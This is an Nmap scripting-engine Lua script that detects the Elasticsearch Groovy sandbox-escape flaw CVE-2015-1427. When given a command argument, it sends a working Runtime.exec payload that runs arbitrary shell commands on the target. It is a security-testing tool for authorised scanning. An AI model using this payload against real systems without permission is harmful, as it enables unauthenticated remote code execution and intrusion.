1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
local json = require "json"
local nmap = require "nmap"
description = [[
This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers
to leverage features of this API to gain unauthenticated remote code execution (RCE).
Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine.
The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell
commands as the user running the Elasticsearch Java VM.
]]
---
-- @args command Enter the shell comannd to be executed. The script outputs the Java
-- and Elasticsearch versions by default.
-- @args invasive If set to true then it creates an index if there are no indices.
--
-- @usage
-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>
--
--@output
-- | http-vuln-cve2015-1427:
-- | VULNERABLE:
-- | ElasticSearch CVE-2015-1427 RCE Exploit
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2015-1427
-- | Risk factor: High CVSS2: 7.5
-- | The vulnerability allows an attacker to construct Groovy
-- | scripts that escape the sandbox and execute shell commands as the user
-- | running the Elasticsearch Java VM.
-- | Exploit results:
-- | ElasticSearch version: 1.3.7
-- | Java version: 1.8.0_45
-- | References:
-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
-- | https://github.com/elastic/elasticsearch/issues/9655
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
author = {"Gyanendra Mishra", "Daniel Miller"}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}
portrule = shortport.port_or_service(9200, "http", "tcp")
local function parseResult(parsed)
-- for commands that return printable results
if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
return parsed.hits.hits[1].fields.exploit[1]
end
-- mkdir(etc) command seems to work but as it returns no result
if parsed.hits.total > 0 then
return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
end
return false
end
action = function(host, port)
local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
local payload = {
size= 1,
query= {
match_all= {}
},
script_fields= {
exploit= {
lang= "groovy",
-- This proves vulnerability because the fix was to prevent access to
-- .class and .forName
script= '"ElasticSearch version: "+\z
java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
"\\n Java version: "+\z
java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
}
}
}
if command then
payload.script_fields.exploit.script = string.format(
'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
%s).getInputStream()).useDelimiter("highlyunusualstring").next()',
json.generate(command))
end
local json_payload = json.generate(payload)
local vuln_table = {
title = "ElasticSearch CVE-2015-1427 RCE Exploit",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
references = {
'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
'https://github.com/elastic/elasticsearch/issues/9655'
},
IDS = {
CVE = 'CVE-2015-1427'
},
scores = {
CVSS2 = '7.5'
},
description = [[The vulnerability allows an attacker to construct Groovy
scripts that escape the sandbox and execute shell commands as the user
running the Elasticsearch Java VM.]]
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local cleanup = function() return end
local nocache = {no_cache=true, bypass_cache=true}
--lets check the elastic search version.
local response = http.get(host, port, '/')
if response.status == 200 and response.body then
local status, parsed = json.parse(response.body)
if not(status) then
stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch')
return nil
else
if parsed.version.number then
--check if a vulnerable version is running
if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
vuln_table.state = vulns.STATE.LIKELY_VULN
end
--help the version/service detection.
port.version = {
name = 'elasticsearch',
name_confidence = 10,
product = 'Elastic elasticsearch',
version = tostring(parsed.version.number),
service_tunnel = 'none',
cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
}
nmap.set_port_version(host,port,'hardmatched')
else
stdnse.debug1('Cant Be Elastic search as no version number present.')
return nil
end
end
else
stdnse.debug1('Not Running Elastic Search.')
return nil
end
-- check if it is indexed, if not create index
response = http.get(host,port,'_cat/indices', nocache)
if response.status ~= 200 then
stdnse.debug1( "Couldnt fetch indices.")
return report:make_output(vuln_table)
elseif response.body == '' then
if invasive then
local rand = string.lower(stdnse.generate_random_string(8))
cleanup = function()
local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
if r.status ~= 200 or not r.body:match('"acknowledged":true') then
stdnse.debug1( "Could not delete index created by invasive script-arg")
end
end
local data = { [rand] = rand }
stdnse.debug1("Creating Index. 5 seconds wait.")
response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
if not(response.status == 201) then
stdnse.debug1( "Didnt have any index. Creating index failed.")
return report:make_output(vuln_table)
end
stdnse.sleep(5) -- search will not return results immediately
else
stdnse.debug1("Not Indexed. Try the invasive option ;)")
return report:make_output(vuln_table)
end
end
--execute the command
local target = '_search'
response = http.post(host, port, target ,nil ,nil ,(json_payload))
if not(response.body) or not(response.status==200) then
cleanup()
return report:make_output(vuln_table)
else
local status,parsed = json.parse(response.body)
if ( not(status) ) then
stdnse.debug1("JSON not parsable.")
cleanup()
return report:make_output(vuln_table)
end
--if the parseResult function returns something then lets go ahead
local results = parseResult(parsed)
if results then
vuln_table.state = vulns.STATE.EXPLOIT
vuln_table.exploit_results = results
end
end
cleanup()
return report:make_output(vuln_table)
end
|